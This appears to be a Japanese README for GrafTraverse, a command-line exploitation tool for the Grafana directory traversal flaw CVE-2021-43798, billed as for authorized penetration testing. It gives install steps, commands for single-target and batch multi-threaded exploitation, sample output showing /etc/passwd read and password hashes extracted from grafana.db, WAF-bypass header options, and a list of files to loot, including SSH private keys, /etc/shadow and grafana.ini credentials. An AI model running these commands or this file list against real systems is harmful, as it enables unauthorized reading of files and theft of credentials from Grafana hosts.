
CVE-2021-43798 MiNi Exploitation Framework
Grafana ディレクトリトラバーサル (CVE-2021-43798) の許可されたセキュリティテストのためのコマンドライン自動化ツール
CVE-2021-43798 は、Grafana 8.x における認証なしのディレクトリトラバーサル脆弱性です。攻撃者は /public/plugins/ エンドポイントを介して、基盤となるファイルシステム上の任意のファイルを読み取ることができます。根本原因は、プラグインアセットリクエストにおけるパスサニタイズが不適切で、../ シーケンスによって意図されたディレクトリから脱出できることです。
GrafTraverse は、元の Proof-of-Concept を完全に書き直したものです。リクエスト処理の重大なバグを修正し、マルチスレッドバッチスキャン、自動プラグイン検出、資格情報抽出、構造化レポートを追加し、レッドチームやペネトレーションテスター向けのプロダクショングレードのツールにしています。
# リポジトリをクローン
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# requests が利用可能であることを確認(Kali に付属)
pip3 install requests
# 実行可能にする
chmod +x GrafTraverse.py
GrafTraverse は サブコマンドベースの CLI を使用します。すべてのコマンドで --help が利用可能です。
1つのホストに対してインタラクティブメニューを起動:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
インタラクティブモード
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. カスタムパス
5. 完全自動戦利品取得
6. プラグインスキャン
7. 終了
============================================================
エクスプロイトを行わずに、どのプラグインエンドポイントが脆弱かを迅速に特定:
python3 GrafTraverse.py scan -u http://target:PORT
ファイルからターゲットを読み込み、同時に処理:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
targets.txt の形式:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# # で始まる行は無視されます
カスタムファイルリストを指定して深いトラバーサルを実行:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Burp Suite を経由してルーティングし、カスタムヘッダーを追加:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| フラグ | 説明 |
|---|---|
-l, --list | ターゲット URL ファイル(必須) |
--workers | 同時スレッド数(デフォルト: 5) |
(single の全フラグ対応) |
scan| フラグ | 説明 |
|---|---|
-u, --url | ターゲット URL(必須) |
| (全ネットワークフラグ対応) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
組み込みの戦利品シーケンスでは、以下のファイルを順に取得しようとします:
| 機能 | 説明 |
|---|
| マルチプラグインブルートフォース | 40以上の組み込みプラグインを自動でプローブし、脆弱なパスを見つけます |
| インタラクティブモード | メニュー駆動型の単一ターゲットエクスプロイト、ライブファイルプレビュー付き |
| バッチモード | 設定可能なスレッドワーカーによる同時マルチターゲットスキャン |
| ワードリストモード | カスタムワードリストを使用した詳細なファイル列挙 |
| 自動ハッシュ抽出 | ダウンロードした grafana.db から PBKDF2 パスワードハッシュを自動抽出 |
| 構造化ロギング | 結果を JSON および CSV にエクスポートしてシームレスなレポート作成 |
| プロキシ対応 | Burp、ZAP、または任意の HTTP プロキシを経由したトラフィックルーティング (--proxy) |
| カスタムヘッダー | WAF バイパスや認証トークンのための任意のヘッダー注入 (-H) |
| トラバーサルカスタマイズ | 非標準環境用のデフォルトトラバーサル深度のオーバーライド (--depth) |
| スマートフィルタリング | プラグインの JS/CSS/HTML レスポンスを拒否することで誤検出を排除 |
| 依存関係ゼロ | requests のみ必要(Kali / Parrot にプリインストール済み) |
| フラグ | 説明 |
|---|
-u, --url | ターゲット URL(必須) |
--no-download | 表示のみモード、ファイルを保存しない |
-t, --timeout | リクエストタイムアウト(秒)(デフォルト: 10) |
--proxy | HTTP/HTTPS プロキシ URL |
-H, --header | カスタムヘッダー(繰り返し可) |
--depth | トラバーサル文字列(デフォルト: ../../../../../../../../) |
--output-dir | 取得ファイルの保存ディレクトリ |
--json | 結果を JSON ログファイルに追記 |
--csv | 結果を CSV ログファイルに追記 |
--wordlist | 列挙するパスが記述されたファイル |
--plugin | 特定のプラグイン名を強制指定 |
| ファイル | タイプ | 機密性 |
|---|
/etc/passwd | テキスト | ユーザー列挙 |
/etc/shadow | テキスト | パスワードハッシュ(読み取り可能なことはまれ) |
/etc/hosts | テキスト | ネットワークトポロジ |
/etc/hostname | テキスト | ホスト識別 |
/etc/grafana/grafana.ini | テキスト | Grafana シークレットと DB 認証情報 |
/var/lib/grafana/grafana.db | バイナリ | ユーザーハッシュと API キーを含む SQLite DB |
/var/log/grafana/grafana.log | テキスト | 運用インテリジェンス |
/root/.ssh/id_rsa | テキスト | SSH 秘密鍵 |
/root/.ssh/authorized_keys | テキスト | キーベースのアクセスマッピング |
/proc/self/environ | テキスト | プロセス環境変数 |
/proc/self/cmdline | テキスト | プロセス引数 |
/proc/version | テキスト | カーネルバージョン |
/proc/mounts | テキスト | ファイルシステムレイアウト |
/etc/os-release | テキスト | OS 識別 |
/etc/issue | テキスト | OS 識別 |
/etc/crontab | テキスト | スケジュールタスク |
/etc/resolv.conf | テキスト | DNS 設定 |